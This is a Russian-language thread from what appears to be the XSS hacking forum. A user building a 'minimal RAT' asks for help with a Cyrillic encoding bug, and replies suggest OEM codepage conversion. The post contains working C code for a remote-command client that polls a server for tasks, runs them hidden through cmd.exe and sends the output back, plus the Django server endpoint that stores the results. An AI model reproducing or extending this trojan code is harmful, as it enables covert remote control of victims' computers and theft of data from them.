• XSS.stack #1 – первый литературный журнал от юзеров форума

Кодировка ипаная((

Risinka

CD-диск
Пользователь
Регистрация
21.03.2024
Сообщения
13
Реакции
7
Приветствую всех желающих и имеющих сил мне помочь, остальным соболезную...

Пишу что-то вроде ратника на минималках, встрял на модуле удалённого исполнения команд. Проблема в кодировке, я пытался перед отправкой тело преобразовывать из CP1251 в UTF-8, но эта абракадабра из символов заместо русской речи меня никогда не покидала!

По итогу остановился на таком варианте (нерабочем):

Client

C:
// Функция для отправки результата
BOOL SendResult(DWORD task_id, const char* result) {
    HINTERNET hSession = NULL;
    BOOL bResults = FALSE;

    hSession = WinHttpOpen(L"Client/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS,
        0);

    if (!hSession) {
        printf("Failed to open WinHttp session\n");
        return FALSE;
    }

    char body[BUFFER_SIZE];
    snprintf(body, BUFFER_SIZE, "{\"task_id\": %lu, \"result\": \"%s\"}", task_id, result);

    printf("Отправляемый body: %s\n", body); // Для отладки

    HINTERNET hConnect = WinHttpConnect(hSession, L"localhost", 8000, 0);
    if (!hConnect) {
        printf("Failed to connect\n");
        WinHttpCloseHandle(hSession);
        return FALSE;
    }

    HINTERNET hRequest = WinHttpOpenRequest(hConnect,
        L"POST",
        L"/send_result/",
        NULL,
        WINHTTP_NO_REFERER,
        WINHTTP_DEFAULT_ACCEPT_TYPES,
        0);
   
    if (!hRequest) {
        printf("Failed to open request\n");
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return FALSE;
    }

    // Устанавливаем заголовки
    const wchar_t* headers[] = { L"Content-Type: application/json; charset=utf-8" };

    bResults = WinHttpSendRequest(hRequest,
        headers[0],
        -1L,
        (LPVOID)body,
        strlen(body),
        strlen(body),
        0);

    if (!bResults) {
        printf("WinHttpSendRequest failed\n");
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return FALSE;
    }

    bResults = WinHttpReceiveResponse(hRequest, NULL);

    // Проверка статуса ответа
    DWORD dwStatusCode = 0;
    DWORD dwSize = sizeof(dwStatusCode);

    if (WinHttpQueryHeaders(hRequest,
        WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
        WINHTTP_HEADER_NAME_BY_INDEX,
        &dwStatusCode,
        &dwSize,
        WINHTTP_NO_HEADER_INDEX)) {
        printf("Статус ответа: %lu\n", dwStatusCode);
        if (dwStatusCode != 200) {
            printf("Ошибка: статус не равен 200\n");
            bResults = FALSE;
        }
    }
    else {
        printf("Не удалось получить статус ответа\n");
        bResults = FALSE;
    }

    if (hRequest) WinHttpCloseHandle(hRequest);
    if (hConnect) WinHttpCloseHandle(hConnect);

    if (hSession) WinHttpCloseHandle(hSession);

    return bResults;
}

// Функция для выполнения команды и получения её вывода
BOOL ExecuteCommand(const char* command, char* output, DWORD outputSize) {
    HANDLE hRead, hWrite;
    SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };

    if (!CreatePipe(&hRead, &hWrite, &sa, 0))
        return FALSE;

    STARTUPINFOA si = { sizeof(STARTUPINFOA) };
    PROCESS_INFORMATION pi;
    ZeroMemory(&pi, sizeof(pi));

    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdOutput = hWrite;
    si.hStdError = hWrite;

    char cmdLine[BUFFER_SIZE];
    snprintf(cmdLine, BUFFER_SIZE, "cmd.exe /C \"%s\"", command);

    BOOL success = CreateProcessA(
        NULL,
        cmdLine,
        NULL,
        NULL,
        TRUE,
        CREATE_NO_WINDOW,
        NULL,
        NULL,
        &si,
        &pi
    );

    CloseHandle(hWrite);

    if (!success) {
        CloseHandle(hRead);
        return FALSE;
    }

    DWORD dwRead;
    DWORD totalRead = 0;

    while (ReadFile(hRead, output + totalRead, outputSize - totalRead - 1, &dwRead, NULL) && dwRead != 0) {
        totalRead += dwRead;
        if (totalRead >= outputSize - 1)
            break;
    }

    output[totalRead] = '\0';

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hRead);

    return TRUE;
}

void cmd() {
    HINTERNET hSession = WinHttpOpen(L"DeviceClient/1.0",
        WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS,
        0);

    while (1) {
        WCHAR response[BUFFER_SIZE];
        WCHAR path[BUFFER_SIZE];

        WCHAR computerName[256];
        DWORD size = sizeof(computerName);
        GetComputerNameW(computerName, &size);

        // Запрос задачи для устройства
        swprintf(path, BUFFER_SIZE / sizeof(WCHAR), L"/get_task/%s/", computerName);

        if (HttpGet(hSession, path, response, BUFFER_SIZE)) {
            char command[256] = { 0 };
            DWORD task_id = 0;

            char* respStr = (char*)response;

            char* cmd_ptr = strstr(respStr, "\"command\":");
            char* id_ptr = strstr(respStr, "\"task_id\":");
            if (cmd_ptr && id_ptr) {
                sscanf(cmd_ptr + strlen("\"command\": \""), "%255[^\"]", command);
                sscanf(id_ptr + strlen("\"task_id\": "), "%lu", &task_id);

                if (strlen(command) > 0 && task_id != 0) {
                    printf("Command received: %s\n", command);

                    // Выполняем команду и получаем вывод
                    char commandOutput[BUFFER_SIZE];
                    if (ExecuteCommand(command, commandOutput, BUFFER_SIZE)) {
                        printf("Execution result: %s\n", commandOutput);
                        SendResult(task_id, commandOutput);
                    }
                    else {
                        printf("Command execution error\n");
                        SendResult(task_id, "Command execution error");
                    }
                }
            }
        }

        Sleep(5000);
    }

}

Server


Python:
@csrf_exempt
def send_result(request):
    print("Received request method:", request.method)
    print("Request body (raw):", request.body)

    if request.method != 'POST':
        return JsonResponse({'error': 'Invalid HTTP method'}, status=405)

    # Попытка декодировать как cp1251
    try:
        body_str = request.body.decode('cp1251')
        print("Decoded request body:", body_str)
    except UnicodeDecodeError:
        try:
            body_str = request.body.decode('utf-8', errors='replace')
            print("Decoded with utf-8 (errors='replace'):", body_str)
        except Exception as e:
            print("Error decoding request body:", e)
            return JsonResponse({'error': 'Failed to decode request body'}, status=400)

    # Удаляем управляющие символы
    body_str = body_str.replace('\r', '').replace('\n', '')
    print("Cleaned request body:", body_str)

    # Пытаемся распарсить JSON
    try:
        data = json.loads(body_str)
        print("Parsed data:", data)
    except json.JSONDecodeError as e:
        print("Error parsing JSON:", e)
        # Выводим содержимое для диагностики
        return JsonResponse({'error': 'Invalid JSON', 'body': body_str}, status=400)

    task_id = data.get('task_id')
    result = data.get('result')

    if task_id is None or result is None:
        return JsonResponse({'error': 'Missing task_id or result'}, status=400)

    try:
        task = Task.objects.get(id=task_id)
        task.result = result
        task.is_executed = True
        task.save()
        return JsonResponse({'status': 'ok'})
    except Task.DoesNotExist:
        return JsonResponse({'error': 'Task not found'}, status=404)
    except Exception as e:
        return JsonResponse({'error': 'Failed to save task'}, status=500)

Да, сервер на джанго, премного извиняюсь, но надеюсь сильно не нарушу правила раздела :3

Логи:

Client

clientlog.png


Server

servlog.png


В примере пытался получить результат от команды dir, но результат вы видите. Буду рад любой помощи!))
 
Решение
Данные из CMD.exe прилетают в одной из OEM кодировок в зависимости от локали, CP1251 не используется, хз с чего ты это взял. Самым простым вариантом решения твоей проблемы было бы перегонять OEM в UTF16LE через MultiByteToWideChar, а затем уже отправлять на сервер
Данные из CMD.exe прилетают в одной из OEM кодировок в зависимости от локали, CP1251 не используется, хз с чего ты это взял. Самым простым вариантом решения твоей проблемы было бы перегонять OEM в UTF16LE через MultiByteToWideChar, а затем уже отправлять на сервер
 
Решение
Пожалуйста, обратите внимание, что пользователь заблокирован

Вложения

  • Снимок экрана 2025-05-16 081007.png
    Снимок экрана 2025-05-16 081007.png
    25.2 КБ · Просмотры: 40
Была такая же история с фраемворком QT 6 , день сидел чтоб кирилицу фиксануть - решение перевести файлы в utf8. Писал еще клиент-серверные, нужна поддержка кирилицы в консоли после обмена сообщениями -то включаешь SetConsoleOutputCP((1251)

Короче разное мутишь, тестируешь комбинируешь.

Я сервер под линукс делал, как с кирилицей вопрос решить не смог. Многое перепробовал.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх